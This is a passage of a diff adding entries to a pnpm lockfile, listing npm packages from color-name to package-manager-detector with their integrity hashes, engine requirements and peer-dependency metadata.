sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==} + engines: {node: '>=7.0.0'} + + color-name@1.1.4: + resolution: {integrity: sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==} + + commander@15.0.0: + resolution: {integrity: sha512-z67u4ZhzCL/Tydu1lJARtEZYWbWaN7oYLHbsuzocr6y4N6WZAagG3RQ4FW61V1/0+jImpj293XfrcYnd1qxtPg==} + engines: {node: '>=22.12.0'} + + convert-source-map@2.0.0: + resolution: {integrity: sha512-Kvp459HrV2FEJ1CAsi1Ku+MY3kasH19TFykTz2xWmMeq6bk2NU3XXvfJ+Q61m0xktWwt+1HSYf3JZsTms3aRJg==} + + cross-spawn@7.0.6: + resolution: {integrity: sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==} + engines: {node: '>= 8'} + + debug@4.4.3: + resolution: {integrity: sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==} + engines: {node: '>=6.0'} + peerDependencies: + supports-color: '*' + peerDependenciesMeta: + supports-color: + optional: true + + deep-is@0.1.4: + resolution: {integrity: sha512-oIPzksmTg4/MriiaYGO+okXDT7ztn/w3Eptv/+gSIdMdKsJo0u4CfYNFJPy+4SKMuCqGw2wxnA+URMg3t8a/bQ==} + + defaults@1.0.4: + resolution: {integrity: sha512-eFuaLoy/Rxalv2kr+lqMlUnrDWV+3j4pljOIJgLIhI058IQfWJ7vXhyEIHu+HtC738klGALYxOKDO0bQP3tg8A==} + + defu@6.1.7: + resolution: {integrity: sha512-7z22QmUWiQ/2d0KkdYmANbRUVABpZ9SNYyH5vx6PZ+nE5bcC0l7uFvEfHlyld/HcGBFTL536ClDt3DEcSlEJAQ==} + + detect-indent@6.1.0: + resolution: {integrity: sha512-reYkTUJAZb9gUuZ2RvVCNhVHdg62RHnJ7WJl8ftMi4diZ6NWlciOzQN88pUhSELEwflJht4oQDv0F0BMlwaYtA==} + engines: {node: '>=8'} + + dir-glob@3.0.1: + resolution: {integrity: sha512-WkrWp9GR4KXfKGYzOLmTuGVi1UWFfws377n9cc55/tb6DuqyF6pcQ5AbiHEshaDpY9v6oaSr2XCDidGmMwdzIA==} + engines: {node: '>=8'} + + dts-resolver@3.0.0: + resolution: {integrity: sha512-1T1f+z+4tl9XD+m+0HBgWoL/nm0bOIffyWaUuUSBlFg/86IWvfx+wjNaO/ybU0AJzG9/Mi5hBUgGV6zCmWEN7Q==} + engines: {node: ^22.18.0 || >=24.0.0} + peerDependencies: + oxc-resolver: '>=11.0.0' + peerDependenciesMeta: + oxc-resolver: + optional: true + + empathic@2.0.1: + resolution: {integrity: sha512-YGRs8knHhKHVShLkFET/rWAU8kmHbOV5LwN938RHI0pljAJ1Gf6SzXsSmRaEzcXTtOOmVqJ5+WtQPL5uigY50Q==} + engines: {node: '>=14'} + + enquirer@2.4.1: + resolution: {integrity: sha512-rRqJg/6gd538VHvR3PSrdRBb/1Vy2YfzHqzvbhGIQpDRKIa4FgV/54b5Q1xYSxOOwKvjXweS26E0Q+nAMwp2pQ==} + engines: {node: '>=8.6'} + + es-module-lexer@2.3.1: + resolution: {integrity: sha512-shc1dbU90Yl/xq1QrC7QRtfcwURZuVRfPhZbDoldJ1cn1gzDvBaBWlv0eFolj5+0znnPJz5TXLxsN77X/12KTA==} + + esbuild@0.28.1: + resolution: {integrity: sha512-HrJrvZv5ayxBzPfwphOoNzkzOIIlifzk0KJrGK2c8R4+LKpMtpYLQeUdjnwjWv/LZlkH2laZk+4w78pi99D4Vw==} + engines: {node: '>=18'} + hasBin: true + + escape-string-regexp@4.0.0: + resolution: {integrity: sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==} + engines: {node: '>=10'} + + eslint-scope@9.1.2: + resolution: {integrity: sha512-xS90H51cKw0jltxmvmHy2Iai1LIqrfbw57b79w/J7MfvDfkIkFZ+kj6zC3BjtUwh150HsSSdxXZcsuv72miDFQ==} + engines: {node: ^20.19.0 || ^22.13.0 || >=24} + + eslint-visitor-keys@3.4.3: + resolution: {integrity: sha512-wpc+LXeiyiisxPlEkUzU6svyS1frIO3Mgxj1fdy7Pm8Ygzguax2N3Fa/D/ag1WqbOprdI+uY6wMUl8/a2G+iag==} + engines: {node: ^12.22.0 || ^14.17.0 || >=16.0.0} + + eslint-visitor-keys@4.2.1: + resolution: {integrity: sha512-Uhdk5sfqcee/9H/rCOJikYz67o0a2Tw2hGRPOG2Y1R2dg7brRe1uG0yaNQDHu+TO/uQPF/5eCapvYSmHUjt7JQ==} + engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} + + eslint-visitor-keys@5.0.1: + resolution: {integrity: sha512-tD40eHxA35h0PEIZNeIjkHoDR4YjjJp34biM0mDvplBe//mB+IHCqHDGV7pxF+7MklTvighcCPPZC7ynWyjdTA==} + engines: {node: ^20.19.0 || ^22.13.0 || >=24} + + eslint@10.8.0: + resolution: {integrity: sha512-nuKKvN+oIBO0koN7Tm7dlkmnkc21mtt0QJLwAKzjLq14y6lRTdVG36MZHJ8eQHwdJMwZbQNMlPOYedMq/oVJvQ==} + engines: {node: ^20.19.0 || ^22.13.0 || >=24} + hasBin: true + peerDependencies: + jiti: '*' + peerDependenciesMeta: + jiti: + optional: true + + espree@10.4.0: + resolution: {integrity: sha512-j6PAQ2uUr79PZhBjP5C5fhl8e39FmRnOjsD5lGnWrFU8i2G776tBK7+nP8KuQUTTyAZUwfQqXAgrVH5MbH9CYQ==} + engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} + + espree@11.2.0: + resolution: {integrity: sha512-7p3DrVEIopW1B1avAGLuCSh1jubc01H2JHc8B4qqGblmg5gI9yumBgACjWo4JlIc04ufug4xJ3SQI8HkS/Rgzw==} + engines: {node: ^20.19.0 || ^22.13.0 || >=24} + + esprima@4.0.1: + resolution: {integrity: sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==} + engines: {node: '>=4'} + hasBin: true + + esquery@1.7.0: + resolution: {integrity: sha512-Ap6G0WQwcU/LHsvLwON1fAQX9Zp0A2Y6Y/cJBl9r/JbW90Zyg4/zbG6zzKa2OTALELarYHmKu0GhpM5EO+7T0g==} + engines: {node: '>=0.10'} + + esrecurse@4.3.0: + resolution: {integrity: sha512-KmfKL3b6G+RXvP8N1vr3Tq1kL/oCFgn2NYXEtqP8/L3pKapUA4G8cFVaoF3SU323CD4XypR/ffioHmkti6/Tag==} + engines: {node: '>=4.0'} + + estraverse@5.3.0: + resolution: {integrity: sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==} + engines: {node: '>=4.0'} + + estree-walker@3.0.3: + resolution: {integrity: sha512-7RUKfXgSMMkzt6ZuXmqapOurLGPPfgj6l9uRZ7lRGolvk0y2yocc35LdcxKC5PQZdn2DMqioAQ2NoWcrTKmm6g==} + + esutils@2.0.3: + resolution: {integrity: sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==} + engines: {node: '>=0.10.0'} + + expect-type@1.4.0: + resolution: {integrity: sha512-KfYbmpRm0VbLjEvVa9yGwCi9GI34xvi7A/HXYWQO65CSD2u3MczUJSuwXKFIxlGsgBQizV9q5J9NHj4VG0n+pA==} + engines: {node: '>=12.0.0'} + + extend-shallow@2.0.1: + resolution: {integrity: sha512-zCnTtlxNoAiDc3gqY2aYAWFx7XWWiasuF2K8Me5WbN8otHKTUKBwjPtNpRs/rbUZm7KxWAaNj7P1a/p52GbVug==} + engines: {node: '>=0.10.0'} + + extendable-error@0.1.7: + resolution: {integrity: sha512-UOiS2in6/Q0FK0R0q6UY9vYpQ21mr/Qn1KOnte7vsACuNJf514WvCCUHSRCPcgjPT2bAhNIJdlE6bVap1GKmeg==} + + fast-deep-equal@3.1.3: + resolution: {integrity: sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==} + + fast-glob@3.3.3: + resolution: {integrity: sha512-7MptL8U0cqcFdzIzwOTHoilX9x5BrNqye7Z/LuC7kCMRio1EMSyqRK3BEAUD7sXRq4iT4AzTVuZdhgQ2TCvYLg==} + engines: {node: '>=8.6.0'} + + fast-json-stable-stringify@2.1.0: + resolution: {integrity: sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==} + + fast-levenshtein@2.0.6: + resolution: {integrity: sha512-DCXu6Ifhqcks7TZKY3Hxp3y6qphY5SJZmrWMDrKcERSOXWQdMhU9Ig/PYrzyw/ul9jOIyh0N4M0tbC5hodg8dw==} + + fast-string-truncated-width@3.0.3: + resolution: {integrity: sha512-0jjjIEL6+0jag3l2XWWizO64/aZVtpiGE3t0Zgqxv0DPuxiMjvB3M24fCyhZUO4KomJQPj3LTSUnDP3GpdwC0g==} + + fast-string-width@3.0.2: + resolution: {integrity: sha512-gX8LrtNEI5hq8DVUfRQMbr5lpaS4nMIWV+7XEbXk2b8kiQIizgnlr12B4dA3ZEx3308ze0O4Q1R+cHts8kyUJg==} + + fast-wrap-ansi@0.2.2: + resolution: {integrity: sha512-7F2Fl+TjRSenLqlU3UjSH0iyqopqoZIu7eZVpEirP2g1GtWa2G/ecEmBdgz31+Mxr+ELclgg6sokpSFIQiZ02Q==} + + fastq@1.20.1: + resolution: {integrity: sha512-GGToxJ/w1x32s/D2EKND7kTil4n8OVk/9mycTc4VDza13lOvpUZTGX3mFSCtV9ksdGBVzvsyAVLM6mHFThxXxw==} + + fdir@6.5.0: + resolution: {integrity: sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg==} + engines: {node: '>=12.0.0'} + peerDependencies: + picomatch: ^3 || ^4 + peerDependenciesMeta: + picomatch: + optional: true + + fflate@0.8.3: + resolution: {integrity: sha512-tbZNuJrLwGUp3zshBtdy4W+ORxZuIh8a5ilyIEQDC5rY1f3U20JMry0Ll3WBzU58EZKsEuJFXhb5gwv8CsPvgA==} + + file-entry-cache@8.0.0: + resolution: {integrity: sha512-XXTUwCvisa5oacNGRP9SfNtYBNAMi+RPwBFmblZEF7N7swHYQS6/Zfk7SRwx4D5j3CH211YNRco1DEMNVfZCnQ==} + engines: {node: '>=16.0.0'} + + fill-range@7.1.1: + resolution: {integrity: sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg==} + engines: {node: '>=8'} + + find-up@4.1.0: + resolution: {integrity: sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==} + engines: {node: '>=8'} + + find-up@5.0.0: + resolution: {integrity: sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng==} + engines: {node: '>=10'} + + flat-cache@4.0.1: + resolution: {integrity: sha512-f7ccFPK3SXFHpx15UIGyRJ/FJQctuKZ0zVuN3frBo4HnK3cay9VEW0R6yPYFHC0AgqhukPzKjq22t5DmAyqGyw==} + engines: {node: '>=16'} + + flatted@3.4.4: + resolution: {integrity: sha512-5+ybhBZANEJxaH3X5evAFatUxLfEHSr7n6kYJ+1Qd0mUqr4eu9gIf6GDbWHf8RJijHrjjO8G+la14SlL2SeS1Q==} + + fs-extra@7.0.1: + resolution: {integrity: sha512-YJDaCJZEnBmcbw13fvdAM9AwNOJwOzrE4pqMqBq5nFiEqXUqHwlK4B+3pUw6JNvfSPtX05xFHtYy/1ni01eGCw==} + engines: {node: '>=6 <7 || >=8'} + + fs-extra@8.1.0: + resolution: {integrity: sha512-yhlQgA6mnOJUKOsRUFsgJdQCvkKhcz8tlZG5HBQfReYZy46OwLcY+Zia0mtdHsOo9y/hP+CxMN0TU9QxoOtG4g==} + engines: {node: '>=6 <7 || >=8'} + + fsevents@2.3.3: + resolution: {integrity: sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==} + engines: {node: ^8.16.0 || ^10.6.0 || >=11.0.0} + os: [darwin] + + get-tsconfig@5.0.0-beta.5: + resolution: {integrity: sha512-/6gFNr0N04nob252sTQxyFLi3eKFRqIg1I87YcqAMT1i6SQrSF6KujUEQrtrjMV0H/eejTCltLdDSTEMzHbnsQ==} + engines: {node: '>=20.20.0'} + + glob-parent@5.1.2: + resolution: {integrity: sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==} + engines: {node: '>= 6'} + + glob-parent@6.0.2: + resolution: {integrity: sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A==} + engines: {node: '>=10.13.0'} + + glob@13.0.6: + resolution: {integrity: sha512-Wjlyrolmm8uDpm/ogGyXZXb1Z+Ca2B8NbJwqBVg0axK9GbBeoS7yGV6vjXnYdGm6X53iehEuxxbyiKp8QmN4Vw==} + engines: {node: 18 || 20 || >=22} + + globby@11.1.0: + resolution: {integrity: sha512-jhIXaOzy1sb8IyocaruWSn1TjmnBVs8Ayhcy83rmxNJ8q2uWKCAj3CnJY+KpGSXCueAPc0i05kVvVKtP1t9S3g==} + engines: {node: '>=10'} + + graceful-fs@4.2.11: + resolution: {integrity: sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==} + + gray-matter@4.0.3: + resolution: {integrity: sha512-5v6yZd4JK3eMI3FqqCouswVqwugaA9r4dNZB1wwcmrD02QkV5H0y7XBQW8QwQqEaZY1pM9aqORSORhJRdNK44Q==} + engines: {node: '>=6.0'} + + has-flag@4.0.0: + resolution: {integrity: sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==} + engines: {node: '>=8'} + + hookable@6.1.1: + resolution: {integrity: sha512-U9LYDy1CwhMCnprUfeAZWZGByVbhd54hwepegYTK7Pi5NvqEj63ifz5z+xukznehT7i6NIZRu89Ay1AZmRsLEQ==} + + human-id@4.2.0: + resolution: {integrity: sha512-K3GbkIWqyvvlpfhBPlbEvD97TtqBpAYA4kt+cn2lD2x2HuohzZCibcA2nOlnJT6exqvJLggoB5nv2dNf192nEA==} + hasBin: true + + husky@9.1.7: + resolution: {integrity: sha512-5gs5ytaNjBrh5Ow3zrvdUUY+0VxIuWVL4i9irt6friV+BqdCfmV11CQTWMiBYWHbXhco+J1kHfTOUkePhCDvMA==} + engines: {node: '>=18'} + hasBin: true + + iconv-lite@0.7.3: + resolution: {integrity: sha512-IKXpvIzjnC9XTAUbVBcMfGS0EPaIXtW6v+zr+RRp+hqULEpo0owZax6wyRwPOJbWbzjYspQwusTsfVr0ifh4uQ==} + engines: {node: '>=0.10.0'} + + ieee754@1.2.1: + resolution: {integrity: sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==} + + ignore@5.3.2: + resolution: {integrity: sha512-hsBTNUqQTDwkWtcdYI2i06Y/nUBEsNEDJKjWdigLvegy8kDuJAS8uRlpkkcQpyEXL0Z/pjDy5HBmMjRCJ2gq+g==} + engines: {node: '>= 4'} + + ignore@7.0.6: + resolution: {integrity: sha512-BAg6QkE8W+TuQLrrw0Ugr7HegXduRuuj8/ti2kSOc+jz1dmx8/WNcjr6XGnq5YpDWxFwwaavqD0+jIUOKelTsw==} + engines: {node: '>= 4'} + + import-without-cache@0.4.0: + resolution: {integrity: sha512-NkJQA7oZ4YHQhd2+H3BoRFKF3d/XNsiKpHZCQEMH9pDX27hQQLsTyOocyRgaIVtf8gHX3Nt3LPkR4e5EdtPAGQ==} + engines: {node: ^22.18.0 || >=24.0.0} + + imurmurhash@0.1.4: + resolution: {integrity: sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA==} + engines: {node: '>=0.8.19'} + + inherits@2.0.4: + resolution: {integrity: sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==} + + is-extendable@0.1.1: + resolution: {integrity: sha512-5BMULNob1vgFX6EjQw5izWDxrecWK9AM72rugNr0TFldMOi0fj6Jk+zeKIt0xGj4cEfQIJth4w3OKWOJ4f+AFw==} + engines: {node: '>=0.10.0'} + + is-extglob@2.1.1: + resolution: {integrity: sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==} + engines: {node: '>=0.10.0'} + + is-glob@4.0.3: + resolution: {integrity: sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==} + engines: {node: '>=0.10.0'} + + is-interactive@1.0.0: + resolution: {integrity: sha512-2HvIEKRoqS62guEC+qBjpvRubdX910WCMuJTZ+I9yvqKU2/12eSL549HMwtabb4oupdj2sMP50k+XJfB/8JE6w==} + engines: {node: '>=8'} + + is-number@7.0.0: + resolution: {integrity: sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==} + engines: {node: '>=0.12.0'} + + is-subdir@1.2.0: + resolution: {integrity: sha512-2AT6j+gXe/1ueqbW6fLZJiIw3F8iXGJtt0yDrZaBhAZEG1raiTxKWU+IPqMCzQAXOUCKdA4UDMgacKH25XG2Cw==} + engines: {node: '>=4'} + + is-unicode-supported@0.1.0: + resolution: {integrity: sha512-knxG2q4UC3u8stRGyAVJCOdxFmv5DZiRcdlIaAQXAbSfJya+OhopNotLQrstBhququ4ZpuKbDc/8S6mgXgPFPw==} + engines: {node: '>=10'} + + is-windows@1.0.2: + resolution: {integrity: sha512-eXK1UInq2bPmjyX6e3VHIzMLobc4J94i4AWn+Hpq3OU5KkrRC96OAcR3PRJ/pGu6m8TRnBHP9dkXQVsT/COVIA==} + engines: {node: '>=0.10.0'} + + isexe@2.0.0: + resolution: {integrity: sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==} + + jiti@2.7.0: + resolution: {integrity: sha512-AC/7JofJvZGrrneWNaEnJeOLUx+JlGt7tNa0wZiRPT4MY1wmfKjt2+6O2p2uz2+skll8OZZmJMNqeke7kKbNgQ==} + hasBin: true + + js-yaml@3.15.0: + resolution: {integrity: sha512-ttBQIIQPDeLjpPOohtUdXuXUVoA2uIB6fEH9HyJ7234s5mBJ5wTx20njxplLZQgLaOfpmPQA7X2t5AX6tIPbog==} + hasBin: true + + js-yaml@4.3.1: + resolution: {integrity: sha512-CY6crGq313MX8GkwvB7tzgp99vjQxY1++5y10/BKN/GUfHqWaOGQMNZkBvqSzsZKWk/ijwHlWzzkLulsGHhjWQ==} + hasBin: true + + json-buffer@3.0.1: + resolution: {integrity: sha512-4bV5BfR2mqfQTJm+V5tPPdf+ZpuhiIvTuAB5g8kcrXOZpTT/QwwVRWBywX1ozr6lEuPdbHxwaJlm9G6mI2sfSQ==} + + json-schema-traverse@0.4.1: + resolution: {integrity: sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==} + + json-stable-stringify-without-jsonify@1.0.1: + resolution: {integrity: sha512-Bdboy+l7tA3OGW6FjyFHWkP5LuByj1Tk33Ljyq0axyzdk9//JSi2u3fP1QSmd1KNwq6VOKYGlAu87CisVir6Pw==} + + jsonfile@4.0.0: + resolution: {integrity: sha512-m6F1R3z8jjlf2imQHS2Qez5sjKWQzbuuhuJ/FKYFRZvPE3PuHcSMVZzfsLhGVOkfd20obL5SWEBew5ShlquNxg==} + + keyv@4.5.4: + resolution: {integrity: sha512-oxVHkHR/EJf2CNXnWxRLW6mg7JyCCUcG0DtEGmL2ctUo1PNTin1PUil+r/+4r5MpVgC/fn1kjsx7mjSujKqIpw==} + + kind-of@6.0.3: + resolution: {integrity: sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw==} + engines: {node: '>=0.10.0'} + + levn@0.4.1: + resolution: {integrity: sha512-+bT2uH4E5LGE7h/n3evcS/sQlJXCpIp6ym8OWJ5eV6+67Dsql/LaaT7qJBAt2rzfoa/5QBGBhxDix1dMt2kQKQ==} + engines: {node: '>= 0.8.0'} + + lint-staged@17.2.0: + resolution: {integrity: sha512-FchGnFe4i4B1C/a35SPU9bNGPEHSC1+1iV0plLjzBmKVe9klZrlRfSgK6Cw4VeHyqOXbJUXP0vON61uRftNQ0A==} + engines: {node: '>=22.22.1'} + hasBin: true + + locate-path@5.0.0: + resolution: {integrity: sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==} + engines: {node: '>=8'} + + locate-path@6.0.0: + resolution: {integrity: sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==} + engines: {node: '>=10'} + + lodash.startcase@4.4.0: + resolution: {integrity: sha512-+WKqsK294HMSc2jEbNgpHpd0JfIBhp7rEV4aqXWqFr6AlXov+SlcgB1Fv01y2kGe3Gc8nMW7VA0SrGuSkRfIEg==} + + log-symbols@4.1.0: + resolution: {integrity: sha512-8XPvpAA8uyhfteu8pIvQxpJZ7SYYdpUivZpGy6sFsBuKRY/7rQGavedeB8aK+Zkyq6upMFVL/9AW6vOYzfRyLg==} + engines: {node: '>=10'} + + lru-cache@11.5.2: + resolution: {integrity: sha512-4pfM1Ff0x50o0tQwb5ucw/RzNyD0/YJME6IVcStalZuMWxdt3sR3huStTtxz4PUmvZfRguvDejasvQ2kifR11g==} + engines: {node: 20 || >=22} + + magic-string@0.30.21: + resolution: {integrity: sha512-vd2F4YUyEXKGcLHoq+TEyCjxueSeHnFxyyjNp80yg0XV4vUhnDer/lvvlqM/arB5bXQN5K2/3oinyCRyx8T2CQ==} + + merge2@1.4.1: + resolution: {integrity: sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==} + engines: {node: '>= 8'} + + micromatch@4.0.8: + resolution: {integrity: sha512-PXwfBhYu0hBCPw8Dn0E+WDYb7af3dSLVWKi3HGv84IdF4TyFoC0ysxFd0Goxw7nSv4T/PzEJQxsYsEiFCKo2BA==} + engines: {node: '>=8.6'} + + mimic-fn@2.1.0: + resolution: {integrity: sha512-OqbOk5oEQeAZ8WXWydlu9HJjz9WVdEIvamMCcXmuqUYjTknH/sqsWvhQ3vgwKFRR1HpjvNBKQ37nbJgYzGqGcg==} + engines: {node: '>=6'} + + minimatch@10.2.6: + resolution: {integrity: sha512-vpLQEs+VLCr1nU0BXS07maYoFwlDAH0gngQuuttxIwutDFEMHq2blX+8vpgxDdK3J1PwjCJiep77OitTZ4Ll1A==} + engines: {node: 18 || 20 || >=22} + + minipass@7.1.3: + resolution: {integrity: sha512-tEBHqDnIoM/1rXME1zgka9g6Q2lcoCkxHLuc7ODJ5BxbP5d4c2Z5cGgtXAku59200Cx7diuHTOYfSBD8n6mm8A==} + engines: {node: '>=16 || 14 >=14.17'} + + mri@1.2.0: + resolution: {integrity: sha512-tzzskb3bG8LvYGFF/mDTpq3jpI6Q9wc3LEmBaghu+DdCssd1FakN7Bc0hVNmEyGq1bq3RgfkCb3cmQLpNPOroA==} + engines: {node: '>=4'} + + ms@2.1.3: + resolution: {integrity: sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==} + + mute-stream@3.0.0: + resolution: {integrity: sha512-dkEJPVvun4FryqBmZ5KhDo0K9iDXAwn08tMLDinNdRBNPcYEDiWYysLcc6k3mjTMlbP9KyylvRpd4wFtwrT9rw==} + engines: {node: ^20.17.0 || >=22.9.0} + + nanoid@3.3.16: + resolution: {integrity: sha512-bzlKTyNJ7+LdGIIwy8ijFpIqEQIvafahV7eYykJ8Cvh42EdJeODoJ6gUJXpQJvej1BddH8OqTXZNE/KfbWAu8Q==} + engines: {node: ^10 || ^12 || ^13.7 || ^14 || >=15.0.1} + hasBin: true + + natural-compare@1.4.0: + resolution: {integrity: sha512-OWND8ei3VtNC9h7V60qff3SVobHr996CTwgxubgyQYEpg290h9J0buyECNNJexkFm5sOajh5G116RYA1c8ZMSw==} + + obug@2.1.4: + resolution: {integrity: sha512-4a+OsYv9UktOJKE+l1A4OufDgdRF9PifWj+tJnHURo/P+WOxpG4GzUFL9qCalmWauao6ogiG+QvnCovwPoyAWA==} + engines: {node: '>=12.20.0'} + + onetime@5.1.2: + resolution: {integrity: sha512-kbpaSSGJTWdAY5KPVeMOKXSrPtr8C8C7wodJbcsd51jRnmD+GZu8Y0VoU6Dm5Z4vWr0Ig/1NKuWRKf7j5aaYSg==} + engines: {node: '>=6'} + + optionator@0.9.4: + resolution: {integrity: sha512-6IpQ7mKUxRcZNLIObR0hz7lxsapSSIYNZJwXPGeF0mTVqGKFIXj1DQcMoT22S3ROcLyY/rz0PWaWZ9ayWmad9g==} + engines: {node: '>= 0.8.0'} + + ora@5.4.1: + resolution: {integrity: sha512-5b6Y85tPxZZ7QytO+BQzysW31HJku27cRIlkbAXaNx+BdcVi+LlRFmVXzeF6a7JCwJpyw5c4b+YSVImQIrBpuQ==} + engines: {node: '>=10'} + + outdent@0.5.0: + resolution: {integrity: sha512-/jHxFIzoMXdqPzTaCpFzAAWhpkSjZPF4Vsn6jAfNpmbH/ymsmd7Qc6VE9BGn0L6YMj6uwpQLxCECpus4ukKS9Q==} + + p-filter@2.1.0: + resolution: {integrity: sha512-ZBxxZ5sL2HghephhpGAQdoskxplTwr7ICaehZwLIlfL6acuVgZPm8yBNuRAFBGEqtD/hmUeq9eqLg2ys9Xr/yw==} + engines: {node: '>=8'} + + p-limit@2.3.0: + resolution: {integrity: sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==} + engines: {node: '>=6'} + + p-limit@3.1.0: + resolution: {integrity: sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==} + engines: {node: '>=10'} + + p-locate@4.1.0: + resolution: {integrity: sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==} + engines: {node: '>=8'} + + p-locate@5.0.0: + resolution: {integrity: sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw==} + engines: {node: '>=10'} + + p-map@2.1.0: + resolution: {integrity: sha512-y3b8Kpd8OAN444hxfBbFfj1FY/RjtTd8tzYwhUqNYXx0fXx2iX4maP4Qr6qhIKbQXI02wTLAda4fYUbDagTUFw==} + engines: {node: '>=6'} + + p-try@2.2.0: + resolution: {integrity: sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ==} + engines: {node: '>=6'} + + package-manager-detector@0.2.11: + resolution: {integrity: sha512-BEnLolu+yuz22S56CU1SUKq3XC3PkwD5wv4ikR4MfGvnRVcmzXR9DwSlW2fEamyTPyXHomBJRzgapeuBvRNzJQ==} + + package-manager-detector@1.8.0: + resolution: {integrity: 